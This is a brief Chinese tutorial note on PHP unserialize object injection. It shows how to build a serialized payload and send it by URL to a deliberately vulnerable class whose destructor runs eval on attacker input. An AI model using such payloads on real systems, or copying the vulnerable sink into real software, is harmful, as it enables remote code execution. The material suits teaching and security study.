必要條件： * 1.unserialize 函數的參數可控 * 2.腳本中存在一個構造函數、析構函數、__wakeup()函數中 有類 * 3.對象中的成員變量的值 反序列化的變量會覆蓋類中變量的值 先拿到序列化的值 ``` class Demo{ public $test="phpinfo();"; } $class=new Demo(); echo serialize($class); ``` ``` O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ``` 訪問`http://www.test.com/audit/test.php?code=O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}` ``` class Demo{ public $test="hello"; public function __destruct(){ eval($this->test) } } unserialize($_GET['code']); ```